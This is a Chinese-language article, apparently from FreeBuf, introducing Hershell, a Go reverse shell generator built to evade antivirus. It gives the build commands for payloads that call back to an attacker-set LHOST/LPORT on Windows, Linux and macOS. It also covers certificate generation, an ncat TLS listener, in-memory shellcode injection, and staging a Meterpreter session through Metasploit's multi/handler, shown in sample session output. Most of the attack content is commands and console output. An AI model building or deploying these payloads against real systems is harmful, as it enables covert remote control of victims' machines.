Hershell是一款功能強(qiáng)大的跨平臺(tái)反向Shell生成器,該工具使用Go語(yǔ)言開發(fā),基于TCP反向Shell實(shí)現(xiàn)其功能。
該工具使用了TLS來(lái)保障數(shù)據(jù)通訊的安全性,并且提供了證書公共密鑰指紋綁定功能來(lái)防止通信數(shù)據(jù)被攔截。

支持的系統(tǒng)
Hershell的當(dāng)前版本支持以下操作系統(tǒng):
Windows
Linux
macOS
FreeBSD
開發(fā)目的
雖然Meterpreter Payload有時(shí)也能用,但是這種方法很容易被反病毒產(chǎn)品檢測(cè)到。因此,Hershell便應(yīng)運(yùn)而生,它可以給我們提供一個(gè)基于TCP的反向Shell,而且能夠支持各種不同的操作系統(tǒng)平臺(tái)。
工具使用&依賴組件
Hershell使用Go語(yǔ)言開發(fā),我們首先需要按照Go官方手冊(cè)【點(diǎn)我獲取】在我們的設(shè)備上完成Go環(huán)境的搭建,并設(shè)置好$GOPATH環(huán)境變量。
接下來(lái),運(yùn)行下列命令來(lái)獲取項(xiàng)目源碼:
go get github.com/lesnuages/hershell
構(gòu)建Payload
在構(gòu)建Payload時(shí),我們可以選擇使用已提供的Makefile來(lái)完成構(gòu)建。此時(shí),我們需要設(shè)置以下環(huán)境變量:
GOOS : 目標(biāo)操作系統(tǒng)
GOARCH : 目標(biāo)架構(gòu)
LHOST : 攻擊者IP或主機(jī)域名
LPORT : 監(jiān)聽器端口
關(guān)于GOOS和GOARCH變量的設(shè)置,可以參考這篇【文檔】。
當(dāng)然了,我們也在Makefile中提供了一些可供參考的變量值:
depends : 生成服務(wù)器證書(反向Shell需要使用到)
windows32 : 構(gòu)建一個(gè)32位Windows可執(zhí)行程序(PE 32位)
windows64 : 構(gòu)建一個(gè)64位Windows可執(zhí)行程序(PE 64位)
linux32 : 構(gòu)建一個(gè)32位Linux可執(zhí)行程序(ELF 32位)
linux64 : 構(gòu)建一個(gè)64位Linux可執(zhí)行程序(ELF 64位)
macos32 : 構(gòu)建一個(gè)32位macOS可執(zhí)行程序(Mach-O)
macos64 : 構(gòu)建一個(gè)64位macOS可執(zhí)行程序(Mach-O)
針對(duì)上述列表中的目標(biāo)平臺(tái),我們還需要設(shè)置LHOST和LPORT這兩個(gè)環(huán)境變量。
使用反向Shell
代碼開始執(zhí)行之后,工具將給我們提供一個(gè)遠(yuǎn)程Shell,它是一個(gè)自定義的交互式Shell,允許我們通過(guò)Windows上的cmd.exe或Unix設(shè)備中的/bin/sh來(lái)執(zhí)行系統(tǒng)命令。
Hershell支持的部分特定命令如下表所示:
run_shell : 獲取系統(tǒng)Shell
inject : 向相同進(jìn)程內(nèi)存中注入一個(gè)shellcode(Base64編碼),并執(zhí)行代碼。
meterpreter [tcp|http|https] IP:PORT :與多個(gè)處理器建立連接并從Metasploit獲取第二階段的反向TCP、HTTP或HTTPS Meterpreter,然后在內(nèi)存中執(zhí)行Shellcode(該功能目前僅支持Windows平臺(tái))。
exit : 退出程序
工具使用
首先,我們需要使用下面的命令生成一個(gè)有效的證書:
$ make dependsopenssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pemGenerating a 4096 bit RSA private key....................................................................................++.....++writing new private key to 'server.key'-----cat server.key >> server.pem
針對(duì)Windows平臺(tái):
# Predifined 32 bit target$ make windows32 LHOST=192.168.0.12 LPORT=1234# Predifined 64 bit target$ make windows64 LHOST=192.168.0.12 LPORT=1234
針對(duì)Linux平臺(tái):
# Predifined 32 bit target$ make linux32 LHOST=192.168.0.12 LPORT=1234# Predifined 64 bit target$ make linux64 LHOST=192.168.0.12 LPORT=1234
針對(duì)macOS平臺(tái):
$ make macos LHOST=192.168.0.12 LPORT=1234
工具使用樣例
基礎(chǔ)使用
我們可以使用各種工具來(lái)處理傳入的連接,比如說(shuō):
socat
ncat
openssl服務(wù)器模塊
Metasploit的各種handler (python/shellreversetcp_ssl payload)
下面是ncat的使用樣例:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234Ncat: Version 7.60 ( https:///ncat )Ncat: Listening on :::1234Ncat: Listening on 0.0.0.0:1234Ncat: Connection from 172.16.122.105.Ncat: Connection from 172.16.122.105:47814.[hershell]> whoamidesktop-3pvv31a\lab
Meterpreter場(chǎng)景
注意:目前該功能僅支持在Windows平臺(tái)上使用。
該工具的Meterpreter使用場(chǎng)景目前僅支持下列Payload:
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https
當(dāng)你選擇使用某個(gè)Payload之后,別忘了選擇正確的傳輸端口(tcp、http或https)。
MeterpreterHandler使用樣例如下:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_httpspayload => windows/x64/meterpreter/reverse_https[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105lhost => 172.16.122.105[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443lport => 8443[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pemHandlerSSLCert => ./server.pem[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
接下來(lái),在hershell中,使用meterpreter命令:
[hershell]> meterpreter https 172.16.122.105:8443
此時(shí),我們將能夠在msfconsole中獲取到新的Meterpreter會(huì)話:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1[*] Starting interaction with 1...
meterpreter > getuidServer username: DESKTOP-3PVV31A\lab
項(xiàng)目地址
Hershell:https://github.com/lesnuages/hershell
*參考來(lái)源:lesnuages,F(xiàn)B小編Alpha_h4ck編譯,轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM
小程序